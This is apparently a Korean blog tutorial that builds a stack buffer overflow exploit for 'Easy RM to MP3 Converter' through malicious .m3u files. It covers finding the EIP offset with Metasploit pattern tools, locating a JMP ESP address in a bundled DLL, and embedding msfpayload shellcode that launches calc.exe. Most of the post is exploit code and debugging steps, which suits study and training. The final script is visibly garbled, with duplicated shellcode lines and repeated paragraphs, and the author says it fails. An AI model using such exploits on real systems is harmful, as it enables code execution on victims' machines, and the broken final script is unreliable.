취약점은 악의적인 .m3u 파일을 만든 후 해당 유틸리티에 feed시켜 공격이 가능하다.
my $file = "crash.m3u";
my $junk = "\x41" x 30000; #\x41= 'A'
open($FILE, ">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created Successfully \n";
test.pl
컴파일 후 , 'Easy RM to MP3 Converter' 로 로드를 할 경우 에러가 발생한다.
다음과 같은 에러가 나며, 자세한 오류 정보를 보면
다음과 같은 화면을 확인 할 수 있다.
이 때 crash가 발생한다 해도 공격이 무조건 가능한 것은 아니다.
(여기서 공격이란, 공격자가 공격코드 수행과 같은 행동을 통해 어플리케이션에서 의도치 않은 행동을 유발하게 만드는 것을 의미)
공격을 가능케 하는 가장 쉬운 방법은 바로 어플리케이션의 흐름을 통제하는 것이다.
보통 다음에 실행될 명령이 위치한 포인터를 가진 EIP - Instruction Pointer(or PC)를 통제하는 방법으로 이루어진다. 어플리케이션 흐름을 통제한 후 실행되기를 바라는 공격자의 코드는 일반적으로 쉘코드인 경우가 많다.
이와 같이 Easy Rm to MP3 Converter가 crash당한 이유를 알 기 위해서는, 메모리 구조에 대해서 이해를 해야 한다.
- 메모리 구조
- 메모리는 다음과 같이 3가지로 나뉜다.
- CPU 범용 레지스터
- EAX(accumulator) 계산을 위해 사용되며, 함수 호출의 리턴 값을 저장한다. 더하기, 빼기, 비교 등과 같은 기본적인 연산은 이 범용 레지스터를 사용한다.
- EBX(base, base pointer와 관련 없음 ): 범용성은 없으며, 데이터를 저장하는데 사용될 수 있다.
- ECX(counter) : 반복을 위해 사용되며, 아래쪽으로 카운터 한다.
- EDX(data) : 이것은 EAX 레지스터의 확장이며, 더 복잡한 계산(곱하기, 나누기)를 가능하게 한다.
- ESP : Stack Pointer
- EBP : Base Pointer
- ESI : Source Index : 입력 데이터의 위치를 가지고 있음.
- EDI : Destination Index : 데이터 연산 결과가 저장되는 위치를 가리킴
- EIP : Instruction Pointer : 다음에 실행할 명령의 코드가 있는 주소, CD 세그먼트와 함께 동작하며 사용자가 사용할 수 없다.
EIP를 통제하기 위해 스택에 어떻게 버퍼가 뿌려지는지 확인을 한번 해 본다.
이를 위해선 디버거를 연결한다. (Windbg를 사용)
- windbg설치 (http://msdn.microsoft.com/ko-kr/windows/hardware/hh852365 )
하..생각보다 좀 걸린다.... - 설치를 완료하면 설치된 경로 ( C:\Program Files\Debugging Tools for Windows (x86)) 로 가서 cmd를 띄우고 windbg -I 를 이용해 post-mortem 디버거로 등록하자. 이 기능을 사용할 경우 어플리케이션에 문제 발생 후에 해당 문제점에 대한 사후분석이 가능해 진다. 즉 오류가 발생하면 디버거가 자동으로 이를 표시한다.
windbg를 post-mortem 디버거로 등록
본격적으로 시작을 위해 Easy RM converter를 실행하여 crash.m3u 파일을 로딩하면 어플리케이션에서 crash가 발생하면서 windbg가 다음과 같이 실행된다.
![]() |
windbg가 해당 프로그램의 crash를 찾아낸다. |
다음을 통해서 EIP가 41414141이라는 것을 알 수 있다.
우리가 앞에서 작성한 crash.m3u 파일이 버퍼로 읽혀 버퍼가 오버플로우 된 것처럼 보인다. 버퍼로 채워지는 정확한 양을 알면 EIP 값을 완전히 통제 가능 할 듯..?
이러한 취약점을 스택 오버플로우라 부른다,
다음 과정 : 이제 정확히 EIP를 덮어쓰기 위해 버퍼 사이즈를 확인 하자
우선 버퍼의 시작 부분에서 부터 2~30000 사이의 어딘가에 위치하고 있다는 것은 알 수 있다.
test.pl수정
my $file = "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE, ">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created Successfully \n";
25000개의 A와 5000개의 B를 삽입해 보자
![]() |
보면 42424242(BBBB)를 가지고 있는 것을 확인 |
EIP는 25,000~ 30,000이라는 사실을 알게 되었다. 이것은 나머지 ESP 가 가리키는 곳이 어딘가에 있다는 것을 의미한다.
이번엔, 스크립트를 일부 수정하기 전에 EIP를 정확히 덮어쓰기 위한 위치 발견을 위해 Metasploit을 사용해 보자.
Metasploit에는 오프셋을 계산하는데 도움이 되는 patten_create.rb 도구를 가지고 있다. 이 도구는 유일한 패턴을 가진 문자열을 생성한다. 이 패턴을 이용해 우리는 EIP 에 덮어쓰기 위한 정확한 버퍼의 크기를 알아낼 수 있다. 먼저 5,000개의 문자로 된 하나의 패턴을 만들어 보자.
my $file = "crash5000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "Aa0Aa1Aa2Aa3.....";
open($FILE, ">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created Successfully \n";
my $junk = "\x41" x 25000;
my $junk2 = "Aa0Aa1Aa2Aa3.....";
open($FILE, ">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created Successfully \n";
test.pl , 25000개의 'A'와 5000개의 패턴을 삽입
위에 밑줄 친 부분에 생성된 5천개의 문자열을 넣어준다음 전과 같이 실행을 하게되면
전(BBBB)와 다르게 '4235a42'가 들어가 있는 것을 확인 할 수 있다.
이제 EIP에 쓸 정확한 버퍼 길이를 계산하기 위해 Metasploit에 내장된 도구인 patten_offset.rb를 사용해 EIP의 값과 버퍼 길이를 계산해야 한다.
(또한, ESP 가 버퍼에 있는 데이터를 가리킥 있다는 사실을 알고 있기 때문에, 우선 EIP를 덮어쓴 다음에 'C'문자열을 추가해 ESP를 덮어쓸 것이다.)
뒤에 언급한 것 처럼 m3u 파일을 새롭게 수정하게 되면
my $file = "crash25000_EIP_BBBB.m3u";
my $junk = "\x41" x 26062;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE, ">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created Successfully \n";
다음 확인을 하면 eip에는 42424242가 들어가고 esp에는 C가 들어가 있는 것을 확인 할 수 있다.
EIP는 현재 실행되고 있는 메모리 주소를 저장하고 있는 레지스터이다!
이번엔 ESP가 가리키는 첫번째 번지를 알아보는 test.pl 스크립트를 작성해 보자.
앞서 사용한 'C' 대신에 144개의 문자를 사용해 보자.
앞에 문자 4개를 추가 하여 실행을 하여 ESP를 확인 하면
이제 다음과 같은 결과를 가지게 된다.
- EIP에 대한 통제권
- 원하는 코드를 쓸 수 있는 공간
- 0x00ff730에서 시작하는 우리의 코드를 직접 가리키는 레지스터
다음 단계로 아래와 같은 요소들이 필요하다.
1) 공격용 쉘코드(공격자의 진짜 의도를 달성하는 코드)
2) EIP가 쉘코드의 시작 주소로 점프하도록 하는 코드(0x00ff730으로 EIP를 덮어씀)
다음은 간단한 테스트를 해보자
먼저, 26,061개의 A를 입력히고, 000ff730 으로 EIP를 덮어쓰며, 그런 다음 25개의 NOP를 입력하고 브레이크, 마지막으로 추가적으로 NOP를 입력한다. 만약 정상이라면 EIP는 NOP를 가지고 0x000ff730으로 점프할 것이다. 그리고 나서 , 해당 코드를 브레이크까지 이동하게 된다.
*****
*****
NOP(NO oPeration)
NOP는 아무 것도 하지 않는 명령, IP는 이 명령의 다음에 위치한 명령을 계속해서 실행하기 위하여 변경되지만 CPU 내부 상태에는 영향을 주지 않는다.
존재하는 이유와 사용용도
- 프로그램에 여유를 준다.
- 디버거(debug)에 편리하다.
- 프로그램 영역을 NOP코드로 채움으로써 프로그램 영역을 예약할 수 있다.
- 멀티 프로세서 동기에 필요함.
my $file = "crash25000_EIP_Jump.m3u";
my $junk = "\x41" x 26062;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25; #\x90 = NOP
$shellcode = $shellcode."\xcc"; #\xcc = Break
$shellcode = $shellcode."\x90" x 25;
open($FILE, ">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created Successfully \n";
*****
pack()
v- An unsigned long(32-bit) in "VAX" (little-endian) order.
* 기초
<65를 unsigned char 값으로 생각하고 바이트데이터화 한다.>
print pack "C",65; # C An unsigned char (octet) value, ascii code 65 -> "A"
A <- 위 명령의 결과로 바이트데이터 \x41 이 되고 이것을 찍으면 해당 아스키코드 문자 A가 찍힘
*****
어플리케이션 충돌이 발생한 다음 access violation 이 아닌 break 발생을 의도했다. EIP를 보면 의도대로 0x000ff730을 가리키고, ESP또한 0x000ff730을 가리키고 있다. 하지만 ESP 를 덤프해 보면 우리의 예상과는 어긋났다는 것을 확인 할 수 있다.
여기서 얻을 수 있는 교훈 '특정 메모리 주소로 직접 점프하는 것'이 좋은 솔루션이 아니라는 것이다.
0x000ff730은 null 바이트를 가지고 있으며, 이는 흔히 말하는 종단 문자이기 때문에 원하는 지점까지 프로그램을 도달하게 하지 못해 공격에 실패하게 한다.
결론적으로, 0x000730과 같이 직접적인 메모리로 EIP를 덮어쓸 수 없다. 대신에, 어플리케이션이 우리가 제작한 코드로 점프하게 만들도록 하는 방법이 있다.
ESP 의 주소로 EIP 를 덮었는 이유는 프로그램이 ESP로 점프해 쉘코드를 실행하기를 원하기 때문이다.
ESP 로 점프하는 것은 위도우 어플리케이션은 아주 흔한 일이다. 여기서 알아둘 것은 윈도우 어플리케이션은 자체적으로 명령어 코드를 가지는 하나 이상의 dll을 가져와 사용한다. 그리고 dll에 의해 사용되는 주소들은 정적이다.
일단 앞서 'JMPESP'의 opcode 가 무엇인지 이해할 필요가 있다.
그전에 Easy RM to MP3를 싱행하고, Windbg로 attach 해보자
File -> Attach to Process에 가서 RM2MP3Converter.exe를 선택한다
(Converter를 실행 해놔야 겠죠?)
ok를 누르면 해당 어플리케이션에 의해 로딩된 모든 dll들을 보여준다. 또한 프로세스에 디버거를 Attach 하자마자 어플리케이션이 break된다. 여기까지 완료된 후 Windbg 명령 라인에 a(assemble)명령을 입력하고, 가 다음 'JMP ESP'를 입력해보자
attack을 통에 나온 dll중에서 Easy Rm to MP3 converter와 관련 있는 dll파일을 추려낸다.
우리는 이 dll파일에서 JMP ESP를 추려낼 것이다.
MSRMCcodec00.dll의 opcode를 확인하자
처음 attack 했을 때 나온 dll을 보면 되는데 opcode를 확인 하는 명령어는
******
컴퓨터에서의 연산(operation) 종류를 나타내기 위한 코드. 즉, 덧셈을 ADD, 제곱근을 SQR 등으로 기억에 편리하도록 기호화한 것을 말한다. 이것은 번역 루틴등에 따라 실제 계산 이전에 기계어의 조작부 코드로 변환하여야 한다.
******
s (시작) l (끝) ff e4
ex)
ModLoad: 01940000 019b1000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
s 01940000 l 019b1000 ff e4
dll에서 원하는 opcode를 알아냄. :)
우리가 활용할 주소를 선택할 때 null 바이트가 들어가 있지 않은 주소가 필요하다. 앞서도 말했지만 null 바이트는 종단 문자열이기 때문에 null 바이트 이후의 코드는 쓸모 없는 것이 되기 때문이다.
디버거를 이용하지 않고 findjmp 프로그램을 이용하면 우리가 원하는 opcode를 쉽게 찾을 수 있다. 사용 법은 'findjmp dll 파일 레지스터' 와 같으며 다음은 그 예이다. Easy RM to MP3 Converter의 MSRMCcodec02.dll에서 JMP ESP 를 찾아보면 다음과 같다.
-> jmp esp를 갖는 다는 것을 확인 할 수 있다.
만약 EIP 를 0x01bbf23a 로 덮어쓸 경우 JMP ESP가 실행될 것이다. ESP는 쉘코드를 가지고 있어 우리의 목적을 달성케 하는 exploit을 가지게 된다. 'NOP & break'쉘코드로 테스트를 해보자.
우선 Metasploit을 이용하여 , 계산기 프로그램을 실행하도록 하는 exploit을 만들어 보자. metasploit에 내장된 msfpayload를 이용해 페이로드를 생성한다.
-> msfpayload로 쉘코드 생성
만들어진 쉘코드를 아래와 같이 스크립트에 삽입한다.
만약 EIP 를 0x01bbf23a 로 덮어쓸 경우 JMP ESP가 실행될 것이다. ESP는 쉘코드를 가지고 있어 우리의 목적을 달성케 하는 exploit을 가지게 된다. 'NOP & break'쉘코드로 테스트를 해보자.
우선 Metasploit을 이용하여 , 계산기 프로그램을 실행하도록 하는 exploit을 만들어 보자. metasploit에 내장된 msfpayload를 이용해 페이로드를 생성한다.
-> msfpayload로 쉘코드 생성
만들어진 쉘코드를 아래와 같이 스크립트에 삽입한다.
my $file = "vulu.m3u";
my $junk = "\x41" x 26062;
my $eip = pack('V',0x01bbf23a);
my $shellcode = "\x90" x 25; #0x90 = NOP
$shellcode=
$shellcode.
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30".
$shellcode.
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30".
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff".
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2".
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85".
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3".
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d".
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58".
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b".
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff".
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00".
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56".
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75".
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63".
"\x2e\x65\x78\x65\x00";
open($FILE, ">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created Successfully \n";
-> 취약점을 이용해 계산기를 실행하는 스크립트
-__..계산기가 실행이 왜 안되징...
-> 취약점을 이용해 계산기를 실행하는 스크립트
-__..계산기가 실행이 왜 안되징...
댓글 없음:
댓글 쓰기